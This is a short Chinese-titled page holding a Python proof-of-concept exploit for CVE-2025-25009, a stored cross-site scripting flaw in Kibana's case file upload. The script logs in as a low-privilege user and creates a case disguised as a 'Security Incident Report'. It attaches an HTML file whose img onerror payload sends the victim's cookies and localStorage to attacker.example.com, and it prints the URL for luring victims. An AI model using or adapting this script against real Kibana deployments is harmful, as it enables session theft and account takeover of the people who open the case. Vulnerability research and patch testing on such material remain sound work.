CVE-2025-25009：Kibana案例文件上传存储型XSS漏洞

# CVE-2025-25009 - Kibana Stored XSS via Case File Upload PoC # This PoC demonstrates the concept of exploiting stored XSS # through Kibana's case file upload functionality. import requests # Target Kibana instance configuration KIBANA_URL = "https://kibana-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to Kibana and obtain session session = requests.Session() auth_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{KIBANA_URL}/api/security/v1/login", json=auth_payload) # Step 2: Craft malicious payload to be embedded in case file # The malicious script will execute in victim's browser context malicious_payload = """ <img src=x onerror="fetch('https://attacker.example.com/steal?cookie='+document.cookie+'&data='+JSON.stringify(localStorage))"> """ # Step 3: Create a case with the malicious file attachment case_payload = { "title": "Security Incident Report", "description": "Please review the attached analysis file.", "tags": ["security", "investigation"], } # Upload file with embedded XSS payload files = { "file": ("report.html", malicious_payload.encode(), "text/html") } response = session.post( f"{KIBANA_URL}/api/cases", json=case_payload ) case_id = response.json().get("id") # Step 4: Attach the malicious file to the case session.post( f"{KIBANA_URL}/api/cases/{case_id}/attachments", files=files ) print(f"[+] Malicious case created with ID: {case_id}") print(f"[+] When a victim views this case, the XSS payload will execute") print(f"[+] Victim URL: {KIBANA_URL}/app/management/cases/{case_id}") # Note: Actual exploitation requires the attacker to have valid # credentials with case creation permissions (low privilege required). # The victim must have permissions to view the case.